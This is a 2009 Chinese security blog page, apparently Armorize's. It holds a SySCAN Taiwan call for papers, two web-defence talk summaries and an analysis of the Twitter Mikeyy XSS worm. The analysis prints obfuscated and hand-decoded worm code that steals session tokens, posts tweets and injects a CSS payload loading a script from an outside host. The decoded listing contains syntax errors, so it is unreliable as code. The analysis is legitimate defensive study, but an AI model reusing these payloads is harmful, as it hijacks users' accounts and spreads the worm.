SySCAN Hack Day「駭翻天」徵求講師

(轉貼自：http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html）

   _____       _____ _________    _   __   ______      _                    
  / ___/__  __/ ___// ____/   |  / | / /  /_  __/___ _(_)      ______ _____ 
  \__ \/ / / /\__ \/ /   / /| | /  |/ /    / / / __ `/ / | /| / / __ `/ __ \
 ___/ / /_/ /___/ / /___/ ___ |/ /|  /    / / / /_/ / /| |/ |/ / /_/ / / / /
/____/\__, //____/\____/_/  |_/_/ |_/    /_/  \__,_/_/ |__/|__/\__,_/_/ /_/ 
     /____/                                                                 
    __  __           __      ____                   ____  ____ 
   / / / /___ ______/ /__   / __ \____ ___  __  // / __ \/ __ \
  / /_/ / __ `/ ___/ //_/  / / / / __ `/ / / / // / / / / /_/ /
 / __  / /_/ / /__/ ,<    / /_/ / /_/ / /_/ /    / /_/ /\__, / 
/_/ /_/\__,_/\___/_/|_|  /_____/\__,_/\__, /     \____//____/  
                                     /____/                 
                                                             

SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
（請大家盡量幫忙轉貼）
今年的SySCAN前瞻資安技術年會，將於七月七日-八日，於台北與各位見面，感謝各界的投稿，今年的講師陣容格外堅強，全都是國際知名資安研究員（大駭客），BlackHat / DEFCON / XSecWest等國際駭客年會的講師，包括了：Dave Aitel（Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師）、Charlie Miller（CanSecWest的Pwn2Own ‘08/’09兩屆冠軍）、Matt Conover（RSA、SANS、CanSecWest）、Stefan Esser（PHP安全第一人）、Justine Osborne（BlackHat、DEFCON）、Marc Schoenfeld（BlackHat）、Fyodor（BlackHat、HITB）、Jeremy Chiu（aka “Birdman”，SySCAN、OWASP）、Wayne Huang（RSA、OWASP、PHP）、Ben Nagy（Infosecurity, Ruxcon）等人，從Web安全，到路徑安全，到PHP核心安全，到虛擬化之安全，到Apple iPhone手機安全，到Google Android手機安全，保證每一場都精彩無比，讓大家接觸最前瞻之資安技術。

去年問卷反應第一的問題，是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore，新加坡結束後，講師才飛來台灣，故星期六比較困難，但是星期日是可以的。另一方面，其實有另一群與會者是希望本會在上班時間舉行的，因為視此為教育訓練之一部分，假日反而不方便。另一個多人反應的，是希望有教育訓練。經過多方考量與討論，我們決定將今年的SySCAN延長為四天，分為三部分活動，七月六日（週一）為SySCAN教育訓練日，課程將公佈於部落格與官網（*），七月七日-八日（週二、三）則為「SySCAN前瞻資安技術年會」，七月五日（週日）則首次舉辦「SySCAN Hack Day」（「SySCAN駭翻天」），活動一天，一人600NTD含中午便當與簡單茶水，Dave Aitel將做開場演講，而另外徵求講師，故發佈此call for paper。每位錄取之講師將由大會補助車馬費（Full talk=4000，Turbo talk=2000 NTD），免費參加七月七日-八日之「SySCAN前瞻資安技術年會」，並邀請參加七月七日之講師派對（speaker’s party），與SySCAN其他講師一起慶功，high到最高點！
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票，票選出最佳「Hack Day」講師，將致贈MacBook一台，與「SySCAN Hacker of the Day」獎狀一只，封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師，往後於會議再度演講時，一律補助車馬費（Full talk=6000，Turbo talk=3000 NTD）。
不論是車馬費、獎狀或MacBook，都是「SySCAN前瞻資安技術年會」之講師所沒有的！另外沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
報名「SySCAN前瞻資安技術年會」者，則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
*票價部分，七月5日Hack Day一票500NTD，全程三天（七月5日Hack Day，七月7-8日SySCAN Taiwan）共3000NTD，見：http://www.syscan.org/Tpe/registration.html

<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者，叫做「大駭客」。但是駭客是不破壞的，駭客會遵守負責的弱點揭露程序。「大駭客」技術一流，但是絕對不「黑」。「黑」不是「厲害」的代名詞，「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易，看做不做而已，但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿！

<< 評審委員 >>
1. Thomas Lim（大會主席）, Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang（大會主席）, Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize（阿碼科技）
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿，然後將演講題目與大綱翻譯成英文後，英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。

<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%

<< 演講種類 >>
演講希望以中文為主，其次為英文
A. Full talk：50 分鐘演講，徵求約四位講師
B. Turbo talk: 15 分鐘演講，徵求約四位講師

<< 重要日期 >>
公佈cfp與開放投稿：2009年五月一日
投稿截止：2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏！
公佈錄取者：2009年六月十五日
Hack Day日期：2009年七月五日
前瞻資安技術年會日期：2009年七月七日-八日
講師派對：2009年七月七日晚

<< 投稿方式 >>
請將資料email至：cfp在syscan點org或hackday在armorize點com，主旨請註明：Hack Day 投稿
格式：
A. 姓名或代號：
B. Email：
C. 電話（手機佳）：
D. 公司或學校：
E. 投稿種類：1. Full talk，2. Turbo talk
F. 題目：
G. 投稿內容：可以略寫大綱，但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper？
I. （此項可免）講師簡歷，包含曾經擔任之講師經驗：

<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗，執行某次資安鑑識時之歷程，調查某資安威脅之經過等。
今年題目包含但不限於以下：
* 各類威脅之研究
* 大規模攻擊（掛馬、轉址、DNS、DDoS…）
* 實際經驗之分享，包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全（Vista、Linux）
* 行動裝置與嵌入式系統安全（SmartPhones、PDAs、Game Consoles）
* Web 2.0之安全（Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python）
* Web應用程式安全
* 計算機網路與電信網路之安全（VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7）
* 新一代技術之安全（Chrome、IE8、Android、iPhone）
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路（BotNets）
* 法律與駭客
* 任何有趣之題目

<< 如何可以投上？ >>
現在各國都有很多高水準之駭客年會，但是每個年會之風格卻截然不同，這完全看大會主席之定調，與評審團之組成與希望達成之會議文化。舉例來說，「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中，即使某講師投稿了某大廠的超級0-day（零時差漏洞），也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大，但是非新的漏洞形式、概念、或找到的方法也非利用新的方法，那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞，也是一樣。因為SySCAN覺得，這種漏洞或威脅並非新類型，與會者並不會因為聽了這場演講而得到了新的資安知識，只是得知了一個新的打站工具或管道，而這個管道在0-day修復後就沒有價值了。相對的，如果該0-day為新類型之漏洞，或者為新的，往後可能成為重大威脅的漏洞，或者是利用新的方法找出來的漏洞，那麼即使該0-day目前影響範圍有限，還是很可能錄取。當然，SySCAN提倡負責的揭露，所以即使錄取後，也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。

1. 內容技術紮實度 25%。SySCAN是很技術性的會議，所以技術內容之紮實度一定排第一。其實我們覺得在資安領域，其實管理面的挑戰與所需要的知識，一點也不比技術領域低，但是SySCAN是以技術為主的會議，所以首重技術之紮實度。

2. 主題具前瞻性 25%。這對本會太重要了，譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow（緩衝區溢位）0-day，雖然很具話題性與「利用價值」，但是buffer overflow本身並非新型態的攻擊，而該講師也並非利用新的或特殊的方法來找到該漏洞，那麼可能錄取的機率就比較低。另外，什麼是「真的」前瞻性，也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究，雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁，中文的資料似乎也不多，但是在資安領域超過十年的人，應該都記得，ARP spoofing / poisoning，是非常古老的攻擊，屬於可以放在教科書中的攻擊類型。由於太簡單，太常用，又用了太久了，所以近年來並沒有太多人願意做這方面的技術文章或演講；雖然近幾年在台灣用得非常頻繁，但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到，目前很多人其實對ARP spoofing/poisoning有誤解，誤認為是「sniffing的第一步」，而不知ARP是乙太網路上的協定，在骨幹上有很多地方其實並沒有乙太網路，ARP根本派不上用場，但是仍有很多其他sniffing的方式，例如打gre tunnel，玩BGP，弄OSPF，藉由SNMP設定switch，攻擊某些L4/L7加速器等，感染路由器等，而做一個「最新sniffing威脅整理」，那麼就會是具有前瞻性的好演講。

3. 講師為好的演講者 20%。SySCAN不但重視講師的內容，也重視演講的方式與台下的吸收。講師的內容再精彩，演講方式單調，表達不好，或沒有注意台下的反應，一下子講得太快太難，結果台下都睡著了，那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗，總是能抓住聽眾的水平，隨之調整速度，並隨時注意台下反應，是很好的講師。此外，講師就像球員一樣，這方面的分數是累積來的，就像網球中，排名前面的球員不用打會外賽，是一樣的道理。如果你很注意自己的表現，每一場都準備得好，講得好，當然你在評審心中的積分就高。如果都沒有講過，也不用擔心，凡是都有第一次，好的會議是很願意給新人機會的。但是如果投上了，一定要好好準備，不然搞砸了一次，下次要上就很難了。練習的時候，可以找朋友聽你試講，並且一定要錄音下來，放回來給自己聽，很有幫助。很多人第一次聽到自己的錄音都說：恩，我錄起來不像我…我講話不像這樣…。No，那個絕對就是你。

4. 內容實用性 10%。如果講的方法非常困難，對於一般人來說，根本不可能有環境來重複該手法，那就不具有實用性了。相對的，如果隨演講提供其他可讓聽眾受惠之資料，如公開免費工具、paper下載等 ，這方面的分數一定高。

5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂，讓很多新人想了解到底什麼是ARP spoofing，那麼一個相關的演講，雖然在「前瞻性」上得分不會高，但是在「吸引聽眾性」上卻是拿高分的。

最後，好的會議一定要投稿，不用怕，因為沒上也沒人知道你有投，況且沒上也並不表示你的研究不好，可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團，回覆時會附上他們的意見，這些意見很具有參考價值。歡迎各位踴躍投稿，我們會場見！

最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org

SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas（organiser 在syscan點org）或Wayne（wayne在armorize點com）
繼續閱讀全文...

全方面的網站防護 － 技術介紹與案例

前言：
阿碼科技將與您分享網站威脅之實務案例與因應，更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包（Armorize AppSec Suite）」中的「程式碼資安檢測（源碼檢測；CodeSecure）」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術，讓企業在有限的資源下，擁有全方位的網站防護。相信透過實戰經驗分享成功案例，阿碼科技一起與您讓駭客無洞可鑽，享受網站安全、顧客安心、歡心獲利！

一、弱點的一生

上圖，很明顯提的是「系統」弱點的一生，這圖以前就常常被拿來說明了，只是是在 IDS、IPS 的時候，你有注意到嗎？所以我把 IPS 的防護作用放進去了， 網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。


上圖，就是「網站應用程式弱點的一生」，因為網站有包含需求、規畫、開發、測試、上線...的程序，當然，每個階段都有可能造成「弱點」，主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明，網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件，依據此進行網站上線前的一一檢點，確認每個項目都已經完成安全查核，其中應包含一項查核為「HTTP PUT Method」的檢測，做為確認系統無法隨意以 PUT 方式將檔案放入網站上，這通常都是對網站設定管理的不熟悉造成，為了避免相關的疏忽，可以發展一個「網站上線前的安全檢核清單」，避免這類設定不當造成問題。
目前金融產業在網站程式開發的生命周期中，已經是非常注意邏輯問題，以及網站上線的安全檢核清單問題，也累積了相當多的實戰經驗。對於其他產業來說，就必須特別注意整個網站程式開發的生命周期。當然，也有很多人的網站已經上線了，如何快速有效的進行防禦呢？協助您爭取時間進行全面快速有效的弱點修復呢？
最後除了系統、網站弱點，還有其他弱點需要注意嗎？你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等，可能都會造成防禦漏洞的，你又該如何面對呢？

二、洞悉 Web 手法威脅

上圖，目前僅列出網站常見的威脅，至於，真正漏洞成因你得深思，可參考先前的一篇文章：「深思網站淪陷背後的意義」。另外有一篇文章也可參考：「網站多久沒健檢，是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢？由上表可以發現接獲通報來源，沒有一個是 IT 人員自行發現的，所以 IT 人員該如何培養敏感度呢？情報網是否情蒐管道暢通呢？尤其是客服或企業聯繫窗口，經常被人所遺忘的一群，一定要給予相當的資安敏感度才是。
另外，還有一個很重要的，就是地下經濟利益，才是造就威脅的真正成因。地下利益是動機、目的，威脅手法只是其手段，所以這點才是洞悉的關鍵之道。接下來，身為網站管理人或負責人，你得改變思維，到底網站上有哪些東西是有心人士想要的，有心人士會利用各種手段或手法來取的，你該如何因應呢？


上圖，是對於網站瀏覽者的威脅，其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」，相關軟體可以參考這裡，某些程度這是會是有幫助的一個工具，如果不懂這是啥？哪你真的需要花點時間培養網路資安觀念了。同樣的，思考地下利益為何？你會發現不外乎「木馬、個資及金錢」，無論外在風險、威脅或各種風風雨雨，你應該知道有心人要的是啥了吧！對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事，但，用說的永遠比較容易，如何培養警覺性才是關鍵。

三、實際案例探討
1.密碼復原的邏輯錯誤

相關文章：
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧！)：問題如何能提早發現？做好準備(案例學習)？你的網站有類似問題嗎？

2.Code的攻防戰
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時，你該如何處置呢？開發人員也在事件應變處裡的一環了，不是嗎？早期的系統、網路漏洞問題，現在的程式開發漏洞問題，還有使用者警覺性的問題，你準備好了嗎？
思考(課後問題)：如何迅速找出有問題的程式碼？有效的修正程式碼？網站改版時該做甚麼？你有記取教訓嗎？對開發流程是否有衝擊？開發人員是否有案例學習討論？你做準備了嗎？

四、成功關鍵
1.產品要有人力技術配合：技術需要扎根，才能有效發揮產品優勢。當然，需要正確有效評估「現有資源」，檢視目前現有人力與資源。
2.產品要融入管理制度：向上管理、對下管理。
3.產品只10%的成本，90%的成本在建立管理與培養人力技術上。
4.您在選的是產品，還是在選服務與技術。

五、打造 Web AP 聯防網（Armorize AppSec Suite）

上圖，是目前阿碼主要產品，相信大家應該不陌生。


上圖，為阿碼產品與技術服務的戰略位置，其中最特別的是「資安技術稽核」，這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等，都有相當的錯誤觀念存在。舉最簡單的例子，我們在看過許多客戶的 IPS 部署後，還沒有看過正確佈署的，有誰關心您是否正確使用或有效使用產品呢？你的防禦佈署規劃是在疊層架屋嗎？我們會總體檢視，包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向，找出 IT 的盲點與弱點，提供補強建議。


上圖，是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練，是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練，提供一般使用者能培養電子郵件與上網的警覺性，這可不是用產品或技術就能達到的目標。

後記：
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的心得，因此，彙整「亞太資安論壇」上的簡報內容，與大家分享。

繼續閱讀全文...

成功 IT 主管不說的秘密 － 有效面對Web威脅的六個訣竅

成功 IT 主管不說的秘密
前言：
今天的IT主管，是高挑戰性的工作。一方面，來自Web的威脅日益增加，另一方面，經濟不景氣，駭客更用力，而公司卻是預算降低，人手不足。資安投資並非能增加公司業務，在有限的時間、資源與預算下，資安做得好是運氣，且難以具體展現成果，而面對日新月異的攻擊手法，稍有疏忽卻要背負所有的責任。難道這是 IT 主管的宿命嗎？當然不是，只是成功的 IT 主管很少分享他們的秘訣。成功的IT主管能在有限資源下，充分掌握威脅面貌，減少不必要投資，有效降低資安風險，在需要時，與上級有效溝通取得資源，並選擇好的廠商，購買正確的產品或服務。資安威脅目前已經普遍受到公司高層主管重視，抓到訣竅的IT主管往往能快速得到認同，成為紅人。這個演講將用世界知名 CIO/CSO 實際的例子，舉出六個訣竅，說明這些成功的 IT 主管是如何瞭解威脅，與上級溝通，如何選對產品或廠商，如何在威脅中仍能高枕無憂，甚至步步高升？

一、洞悉 Web 威脅的宏觀挑戰

當網站開發完成，一旦對外開放的哪一刻開始，就無法拒絕任何人的任意輸入，如「神農大帝嚐百草，即使毒藥也得吃」，然神農大帝有神農氏一族，有目標、有系統、有管理的運作，你是單槍匹馬嗎？更甚者，一旦網站進一步成為幫兇，傷及網站瀏覽者，影響商譽甚鉅。而「漏洞修補」的方式也因開發團隊、語言系統、攻擊手法有不同因應方式，是否確實、有效、完整的修補也是一大課題。至於洞悉 Web 威脅，我們另外一場有深入剖析。

二、正確有效善用「現有資源」
1.最少投資，最大效益

了解 Web AP 弱點有其「難易度」與「輕重緩急」，「修補」與「防護」之間如何拿捏運用？以解「燃眉之急」！

體察修補漏洞「收斂」與「歸納」的重要性，最短時間達到最大效益。

2.現狀處境、現有資源的相互應用

人力（內外部）、時間、預算與技術方案，「完整化」所有弱點的發現。

三、向上管理，體察君意、謀得資源！
1.對上用「維持資安水平」，「不要發生資安事故」的同理心，方能爭取「所需資源」。
2.避免陷入「功能面」單純比較，兼顧「管理面」、「操作面」與「技術面」。
3.避免陷入「大廠背書」迷失。

四、對下管理，同仇敵愾！
1.Web 安全方案 vs 打破藩籬：網路、系統、開發、資安如何分工？要談分工，就必須知道問題出在哪裡？
2.Web 安全方案 vs 組織抗拒：資安非其事，何故惹塵埃？
3.槍口「一致」對外(駭客)：要塑造「保護網站」等同「保家衛民」，面對「艱難」任務，「共同」責任重大。並是適度利用「獎賞制度」讓「小兵願意立大功」，「全員皆兵，全面備戰」。
4.鼓勵資安為「生涯規劃」第二專長：強化資安教育訓練，如 Web 應用程式攻擊趨勢、修補改善、Secure Coding、應變鑑識、資安認證...等方式，培養資安專才。網路、系統、開發、資安本一家，內部輪調有必要，也能使同仁不會有過度的主觀意識。

五、「嚴選」Web AP 安全合作夥伴

阿碼是原廠，有產品技術的優勢，也提供滲透測試服務，對於網站攻與防有專業能力。阿碼的原廠技術都在台灣，就在南港軟體園區，而我們團隊來自世界各地，能說中英文，提供在地的即時的技術服務。阿碼也提供事件應變處理協助，但我們卻不喜歡這樣的接觸狀況，因為，這個時候已經是事後了，但我們仍會解決客戶問題，並給予正確的忠墾建議與防範觀念。也因為這些接觸我們也有機會接觸到最新的攻擊手法、威脅，且我們更關注在地的重大威脅狀況，或全球注目的重大攻擊事件，提供最新的攻擊分析說明，看我們的 Blog 就可以說明一切了。

六、實務導入「Web 資安生命週期」各階段之制度、流程與技術

這點當然是阿碼的強項，但阿碼不只有懂網站的攻防，我們也懂惡意程式。別忘了我們的「木馬間諜檢測軟體(Archon Scanner)」，透過行為痕跡偵測來分析電腦健康狀態的檢定工具。

後記：
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的成果分享，因此，在這彙整「亞太資安論壇」上的簡報內容。阿碼科技的 ASF 團隊(Armorize Special Forces)在協助多家企業客戶成功導入產品、建立管理制度、傳授人力技術...等過程中，一起共同努力克服重大問題的關鍵時刻，不斷磨合學習而來，在歸納整理心訣後，在此與大家一同分享。

繼續閱讀全文...

為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期，Mikeyy蠕蟲發威了五次，twitter也號稱將所有相關的XSS（跨網站腳本）漏洞都修復了。結果昨天Mikeyy再度發威，twitter也再度公佈，並在幾小時候宣布已經修補漏洞。沒想到18小時後，Mikeyy又重現，twitter也又趕快公佈並著手處理...（見上圖。）

這次蠕蟲來的猛，幾個小時內發出超過一萬五千封假tweet訊息：


難道說這麼簡單到不行的twitter介面，在經過一個星期後，還是無法正確修補XSS（跨網站腳本）漏洞？不...會...吧？事實上也是這樣，六代跟一至五代的XSS攻擊字串不同，證明了twitter的修補方法都是錯的，我們這邊就藉此實例來說明，為何XSS（跨網站腳本）那麼難修補？

這次的蠕蟲放在：hxxp://runebash.net/xss.js，有經過一層的混碼（obfuscation）：

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天，竟然沒有人貼出解碼後的版本（連解碼前之以上版本都找不到），真是苦命，都沒人想研究嗎？只好自己手動解一下：

function wait() {
  var content = document.documentElement.innerHTML;
  var tmp_cookie=document.cookie;
  var tmp_posted=tmp_cookie.match(/posted/);
  authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken=authreg.exec(content);
  var authtoken=authtoken[1];
  var randomUpdate= new Array();
  randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
  randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
  randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
  randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
  randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
  randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
  randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
  randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
  randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
  randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
  randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
  randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
  randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
  randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
  randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
  
  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  var updateEncode=urlencode(randomUpdate[genRand]);
  
  var ajaxConn= new XHConn();
  ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
  var _0xf81bx1c="Mikeyy";
  var updateEncode=urlencode(_0xf81bx1c);
  var ajaxConn1= new XHConn();
  ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
  var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
  var XSS=urlencode(genXSS);
  var ajaxConn2= new XHConn();
  ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
  
} ;
setTimeout(wait(),5250);

重點在第34行，也就是這次攻擊的字串：

var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩，沒錯，字串中沒有「<」或「>」或「"」等字元，當然也沒有「<script>」或「<script src=」等字串，但是還是有效達成XSS（跨網站腳本）的效果。

我們看一下被感染後使用者的原始HTML（節錄）：

ul.sidebar-menu li.active a {
  font-weight: bold;
  color: #341957;
  background-color: #000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩，沒錯，這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下，其中就帶有「<script>」字串：

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於，每個網站的架構之不同，可能造成多層的字串編解碼步驟，所以如何有效處理外來（不安全）的字串，因各網站而異，開發人員需要充分了解XSS的原理，才能有效避免。這個題目太大，晚上就要上飛機到RSA參展，目前無法寫太多，但是簡而言之，應盡量避免黑名單之使用，而採用白名單（比較資料型態，長度，合法性等）。以twitter的例子，twitter就是誤認為以黑名單方式過濾掉「<」或「>」或「"」等字元，就可以避免XSS了，但是當然不是這樣子，以這次六代的攻擊字串為例，其中並無包含任何以上字元，然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多，其中RSnake（ha.ckers.org與sla.ckers.org，OWASP有來台灣）的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整，可以參考。

為何說twitter是用黑名單方式？其實之前就測出來了，也有人通知，但是可能email都進垃圾信了，才會又讓Mikeyy捲土重來。其實不用測試，twitter的API手冊上，早就自己承認了：

手冊上直接說：為了避免cross-site scripting漏洞，「<」與「>」會經過編碼...這個在駭客的眼裡，其實是說：我很有可能有XSS漏洞，快來打我。黑名單絕對不是有效防止XSS（跨網站腳本）的方法。這是因為在很多情況下，是不需要「<」與「>」，甚至「"」等字元，就可以攻擊成功的。

在問題終於排除後，twitter再次宣布「問題已經控制住了（under control）」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢？



作者 Wayne 為阿碼科技CEO

後記一：因為這次網路上似乎都沒有人公開攻擊碼，剛才寫信給RSnake（ha.ckers.org與sla.ckers.org），他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區，看一下上面從Samy一路下來到都有收錄，幫他推一下，想研究XSS蠕蟲看這：http://sla.ckers.org/forum/read.php?2,14477。

後記二：有朋友寫信來問，我才發現這系列幾篇中都忘記提了：注意攻擊方式是用「Post」非「Get」，很久以前的傳說：【使用「Post」非「Get」，就可以避免XSS】...當然一直都只是傳說。

相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」（本篇）
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...

漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

（閱讀本文之前請先閱讀「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」）
在前幾波的Mikeyy蠕蟲攻擊結束後，平靜了不到一天，昨晚twitter上又出現第四代Mikeyy蠕蟲，twitter官網上宣布後，經過三小時努力，終於有效修改XSS跨網站（跨站腳本攻擊），停止了蠕蟲的散播。
上圖中，twitter先宣布：「謝謝各位的訊息，我們也知道第四代，並正努力解決問題」。三小時後，終於宣布：「我們相信情況已經控制住了，謝謝各位的耐心，我們會持續關注Mikeyy」。

